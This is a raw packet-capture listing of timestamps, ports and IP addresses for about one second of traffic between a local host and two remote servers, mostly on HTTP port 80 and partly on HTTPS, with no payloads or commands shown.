Dec 2, 2024 07:38:08.853873968 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.854913950 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.854927063 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.854959011 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.854971886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.855904102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.855952024 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.855988979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.856033087 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.856897116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.856947899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.857497931 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.857547998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.857975960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.857988119 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.858023882 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.859025002 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.859080076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.859247923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.859294891 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.860053062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.860110998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.860403061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.860452890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.861129999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.861181974 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.861408949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.861459017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.862297058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.862349987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.862457037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.862540007 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.863254070 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.863302946 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.863723040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.863766909 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.864310026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.864360094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.864830017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.864883900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.865392923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.865444899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.865513086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.865557909 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.866420031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.866468906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.866564035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.866609097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.867481947 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.867533922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.867886066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.867938042 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.868546963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.868558884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.868602037 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.869802952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.869856119 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.870652914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.870701075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.870702982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.870713949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.870750904 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.870949030 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.871900082 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.871912003 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.871956110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.872761011 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.872771978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.872808933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.872828007 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.873850107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.873862028 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.873907089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.874891996 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.874903917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.874947071 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.875931025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.875955105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.875982046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.876000881 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.877005100 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.877067089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.877140999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.877190113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.878022909 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.878072977 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.878139973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.878180981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.879115105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.879163980 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.879198074 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.879241943 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.880163908 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.880204916 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.880217075 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.880238056 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.881234884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.881305933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.881477118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.881527901 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.882278919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.882291079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.882338047 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.883506060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.883569956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.884495974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.884512901 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.884553909 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.884567976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.999664068 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.999788046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.999814987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.999844074 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.999914885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.999927044 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.999957085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.001151085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.001163006 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.001204014 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.001898050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.001907110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.001950026 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.024408102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.024514914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.024596930 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.024640083 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.024996042 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.025053024 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.025130033 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.025176048 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.026000023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.026012897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.026055098 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.026998043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.027045965 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.027154922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.027198076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.028048038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.028094053 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.028667927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.028722048 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.029109955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.029154062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.029647112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.029695988 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.030164957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.030215025 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.030384064 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.030428886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.031342983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.031392097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.031415939 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.031456947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.032305002 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.032351017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.032558918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.032603979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.033366919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.033412933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.033682108 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.033736944 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.034424067 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.034477949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.034503937 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.034542084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.035571098 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.035613060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.035614967 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.035650015 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.036603928 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.036652088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.036740065 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.036784887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.037569046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.037615061 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.037688971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.037735939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.038623095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.038675070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.039341927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.039388895 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.039664030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.039707899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.039774895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.039812088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.040749073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.040760040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.040803909 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.041820049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.041874886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.041956902 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.042001963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.042896032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.042943001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.042960882 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.043004036 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.043982983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.044028044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.044075012 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.044120073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.044987917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.045001030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.045036077 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.046041012 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.046088934 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.046324968 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.046370983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.047070980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.047127008 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.047333956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.047382116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.048156977 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.048206091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.048216105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.048248053 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.049173117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.049220085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.049808979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.049854994 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.050246954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.050288916 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.050431013 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.050472975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.051439047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.051487923 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.051506042 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.051543951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.052505016 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.052551031 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.053239107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.053287983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.053749084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.053795099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.053832054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.053875923 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.054578066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.054629087 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.054694891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.054737091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.055543900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.055581093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.055591106 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.055618048 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.056583881 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.056638956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.056735039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.056777000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.057636023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.057693005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.057944059 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.057987928 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.058669090 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.058720112 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.058952093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.058996916 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.059757948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.059778929 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.059813023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.060693979 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.060864925 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.060911894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.061188936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.061237097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.061862946 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.061875105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.061918020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.062935114 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.062988997 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.063230991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.063308001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.063734055 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.063786030 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.063802958 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.063846111 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.063915014 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.063930035 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.063941002 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.063946962 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.063983917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.064028025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.064033031 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.064066887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.065136909 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.065150023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.065206051 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.066138983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.066152096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.066215992 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.067190886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.067245007 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.067269087 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.067301989 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.068207979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.068253040 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.068717003 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.068763971 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.068866968 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.069071054 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.069086075 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.069380045 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.069392920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.069431067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.069447994 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.069463015 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.069497108 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.070311069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.070365906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.070938110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.070997000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.071376085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.071425915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.071974039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.072024107 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.072429895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.072442055 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.072488070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.073520899 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.073534012 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.073582888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.074554920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.074615002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.074688911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.074733019 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.075654030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.075665951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.075716972 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.134989977 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.137665987 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.137768030 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.137837887 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.137854099 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.137866974 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.137872934 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.140994072 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.141027927 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.141114950 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.141442060 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:09.141458035 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:09.191354990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.191509008 CET	49859	80	192.168.2.6	185.215.113.16
